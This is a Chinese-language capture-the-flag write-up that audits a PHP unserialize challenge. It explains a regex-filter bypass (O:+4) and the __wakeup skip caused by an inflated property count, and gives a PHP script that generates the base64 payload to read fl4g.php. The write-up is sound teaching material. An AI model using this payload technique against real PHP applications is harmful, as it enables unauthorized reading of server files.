打开题目页面如下
是PHP源码,进行代码审计
php
<?php
// 定义一个名为 Demo 的类
class Demo {
// 定义一个私有属性 $file,初始值设置为 'index.php'
// 该属性将用于指定要进行语法高亮显示的文件
private $file = 'index.php';
public function __construct($file) {
// 将传入的 $file 参数赋值给类的私有属性 $this->file
$this->file = $file;
}
//析构函数,当对象被销毁时自动调用
//作用是对 $this->file 指定的文件内容进行语法高亮显示,并将结果作字符串输出
function __destruct() {
// 使用 highlight_file 函数对指定文件进行语法高亮显示
// 参数 true 表示将结果作为字符串返回,而不是直接输出
// @ 符号用于抑制可能出现的错误信息,避免错误信息泄露给用户
echo @highlight_file($this->file, true);
}
/**
* 反序列化唤醒方法,当对象被反序列化时自动调用
* 该方法用于检查反序列化后的对象的 $this->file 属性是否为 'index.php'
* 如果不是,则将其重置为 'index.php'
*/
function __wakeup() {
// 检查 $this->file 属性的值是否不等于 'index.php'
if ($this->file != 'index.php') {
// 注释提示秘密文件为 fl4g.php
// 如果 $this->file 不等于 'index.php',将其重置为 'index.php',防止读取其他文件
$this->file = 'index.php';
}
}
}
// 检查是否通过 GET 请求传递了名为 'var' 的参数
if (isset($_GET['var'])) {
// 对 GET 请求中 'var' 参数的值进行 Base64 解码
// 因为客户端可能会将序列化对象的字符串进行 Base64 编码后传递
$var = base64_decode($_GET['var']);
// 使用正则表达式 /[oc]:\d+:/i 对解码后的字符串进行匹配检查
// [oc] 表示匹配字符 'o' 或 'c',在 PHP 序列化字符串中,'O:' 代表对象,'C:' 代表类
// \d+ 表示匹配一个或多个数字,用于匹配类名或对象名后的长度标识
// : 是普通字符,用于匹配序列化字符串中的分隔符
// i 修饰符表示不区分大小写
if (preg_match('/[oc]:\d+:/i', $var)) {
// 如果匹配成功,说明可能存在危险的序列化字符串,输出提示信息并终止脚本执行
die('stop hacking!');
} else {
// 如果匹配失败,尝试对解码后的字符串进行反序列化操作
// @ 符号用于抑制可能出现的错误信息,避免错误信息泄露给用户
@unserialize($var);
}
} else {
// 如果没有通过 GET 请求传递 'var' 参数,对当前脚本文件 'index.php' 进行语法高亮显示
highlight_file("index.php");
}
?>
- 正则表达式过滤问题
代码中使用正则表达式 /[oc]:\d+:/i 来过滤可能的危险输入。这个正则表达式的目的是检测是否存在 PHP 对象或类的序列化字符串特征(O: 表示对象,C: 表示类)。然而,这个过滤并不完善,存在绕过的可能性。可以通过修改序列化字符串的格式来绕过该正则表达式的检测。
- __wakeup 方法漏洞
__wakeup 方法的作用是在反序列化时检查 $this->file 是否为 index.php,如果不是则将其重置为 index.php。但是,在 PHP 5.6.25 和 7.0.10 之前的版本中,当序列化字符串中对象属性的个数被故意修改得比实际属性个数大时,__wakeup 方法会被跳过。可以利用这个漏洞绕过 __wakeup 方法的检查,从而读取其他文件。
- 信息泄露风险
highlight_file 函数用于对文件内容进行语法高亮显示并输出。如果能够绕过过滤和 __wakeup 方法的检查,就可以利用该函数读取服务器上的任意文件,包括包含敏感信息的文件 fl4g.php,从而导致信息泄露。
原代码中存在两个关键漏洞可被利用来获取 flag。
正则表达式绕过:代码使用 preg_match('/[oc]:\d+:/i', $var) 来检测可能的恶意序列化字符串,但通过将 O:4(表示 Demo 类的序列化标识,O 代表对象,4 是类名长度)替换为 O:+4,可以绕过这个正则表达式的检测。因为修改后的字符串不符合正则表达式的模式,但仍然是有效的序列化字符串格式。
__wakeup 方法绕过:在 PHP 5.6.25 和 7.0.10 之前的版本中,当序列化字符串中对象属性的个数被故意修改得比实际属性个数大时,__wakeup 方法会被跳过。原代码中通过将 :1:(表示对象属性个数为 1)替换为 :2:,就可以实现这个绕过。这样,__wakeup 方法中对 $this->file 的检查和重置就不会执行,从而可以读取 fl4g.php 文件。
获取 flag 的具体步骤:
构造恶意序列化字符串:
首先创建一个 Demo 类的对象,并设置 $file 属性为 fl4g.php。在 PHP 中代码如下:
php
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file!= 'index.php') {
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
$C = str_replace('O:4', 'O:+4', $C);
$C = str_replace(':1:', ':2:', $C);
$encoded = base64_encode($C);
echo $encoded;
?>
将上述代码生成的 Base64 编码字符串作为 var 参数传递给目标脚本,在存在漏洞的环境中可能会绕过检查并读取 fl4g.php 文件的内容
在浏览器地址栏中输入
http://example.com/vulnerable.php?var=BASE64(将BASE64替换为实际生成的 base64 编码字符串)
由于目标脚本中存在漏洞,它会对传入的字符串进行 base64 解码,然后反序列化。在反序列化过程中,绕过了正则表达式检查和 __wakeup 方法的限制,__destruct 方法会执行 highlight_file('fl4g.php', true),从而将 fl4g.php 的内容以语法高亮后的字符串形式输出到页面上,进而可以获取到 flag
可以用下面这个在线工具,运行PHP代码
php在线运行,在线工具,在线编译IDE_w3cschool
传参最终得到flag